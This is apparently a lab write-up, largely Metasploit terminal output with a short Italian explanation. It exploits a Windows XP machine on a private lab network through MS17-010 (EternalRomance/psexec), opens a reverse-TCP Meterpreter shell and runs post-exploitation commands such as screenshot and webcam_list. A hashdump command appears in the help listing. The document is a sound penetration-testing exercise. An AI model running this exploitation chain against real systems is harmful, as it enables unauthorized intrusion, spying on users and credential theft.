

## EXPLOIT WINDOWS XP

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kali@kali: ~/Desktop
File Actions Edit View Help
msf6 > search ms17_010

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -    -
0  exploit/windows/smb/ms17_010_eternalblue 2017-03-14      average Yes    MS17-010 EternalBlue SMB Remote Window
ernal Pool Corruption
1  exploit/windows/smb/ms17_010_psexec      2017-03-14      normal Yes    MS17-010 EternalRomance/EternalSynergy
ernalChampion SMB Remote Windows Code Execution
2  auxiliary/admin/smb/ms17_010_command     2017-03-14      normal No     MS17-010 EternalRomance/EternalSynergy
ernalChampion SMB Remote Windows Command Execution
3  auxiliary/scanner/smb/smb_ms17_010       normal          No     MS17-010 SMB RCE Detection

Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/smb/smb_ms17_010

msf6 > use 1
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > show options

Module options (exploit/windows/smb/ms17_010_psexec):

Name                Current Setting      Required  Description
-                -                -        -
DBGTRACE            false                yes       Show extra debug trace info
LEAKATTEMPTS        99                  yes       How many times to try to leak transaction
NAMEDPIPE           no                   no        A named pipe that can be connected to (leave blank f
r auto)
NAMED_PIPES         /usr/share/metasploit-framework/
                  k/data/wordlists/named_pipes.t
                  xt
RHOSTS              192.168.66.5         yes       The target host(s), see https://docs.metasploit.com/
ocs/using-metasploit/basics/using-metasploit.html
RPORT               445                  yes       The Target port (TCP)
SERVICE_DESCRIPTION no                   no        Service description to be used on target for pretty
isting
SERVICE_DISPLAY_NAME no                   no        The service display name
SERVICE_NAME       no                   no        The service name
SHARE               ADMIN$                yes       The share to connect to, can be an admin share (ADMI
$,C$, ...) or a normal read/write folder share
```

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kali@kali: ~/Desktop
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msf6 exploit(windows/smb/ms17_010_psexec) > exploit

[*] Started reverse TCP handler on 192.168.66.3:4444
[*] 192.168.66.5:445 - Target OS: Windows 5.1
[*] 192.168.66.5:445 - Filling barrel with fish... done
[*] 192.168.66.5:445 - | Entering Danger Zone |
[*] 192.168.66.5:445 - [*] Preparing dynamite ...
[*] 192.168.66.5:445 - [*] Trying stick 1 (x86)... Boom!
[*] 192.168.66.5:445 - [+] Successfully Leaked Transaction!
[*] 192.168.66.5:445 - [+] Successfully caught Fish-in-a-barrel
[*] 192.168.66.5:445 - | Leaving Danger Zone |
[*] 192.168.66.5:445 - Reading from CONNECTION struct at: 0x820166b8
[*] 192.168.66.5:445 - Built a write-what-where primitive...
[*] 192.168.66.5:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.66.5:445 - Selecting native target
[*] 192.168.66.5:445 - Uploading payload... ePgNbyKg.exe
[*] 192.168.66.5:445 - Created \ePgNbyKg.exe ...
[*] 192.168.66.5:445 - Service started successfully...
[*] 192.168.66.5:445 - Deleting \ePgNbyKg.exe ...
[-] 192.168.66.5:445 - Delete of \ePgNbyKg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6
rdCount=0)
[*] Sending stage (175686 bytes) to 192.168.66.5
[*] Meterpreter session 4 opened (192.168.66.3:4444 → 192.168.66.5:1047) at 2024-01-18 18:18:50 +0000

meterpreter > ifconfig

Interface 1
Name : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1520
IPv4 Address : 127.0.0.1

Interface 2
Name : Realtek RTL8139 Family PCI Fast Ethernet NIC - Packet Scheduler Miniport
Hardware MAC : 8e:c6:6d:fd:e6:9b
MTU : 1500
IPv4 Address : 192.168.66.5
IPv4 Netmask : 255.255.255.0
```

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File Actions Edit View Help
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Stdapi: Audio Output Commands

Command      Description
play         play a waveform audio file (.wav) on the target system

Priv: Elevate Commands

Command      Description
getsystem     Attempt to elevate your privilege to that of local system.

Priv: Password database Commands

Command      Description
hashdump     Dumps the contents of the SAM database

Priv: Timestamp Commands

Command      Description
timestamp    Manipulate file MACE attributes

meterpreter > webcam_list
[-] No webcams were found
meterpreter > screenshot
Screenshot saved to /home/kali/Desktop/qbSpOWGW.jpeg
meterpreter >
```

Una volta ottenuto l'accesso alla sessione meterpreter utilizzo il comando webcam\_list per ottenere informazioni sulle webcam rilevate, in questo caso nessuna. Con il comando "screenshot" ottengo un'immagine salvata sul desktop della macchina attaccante con la schermata attuale della macchina target.

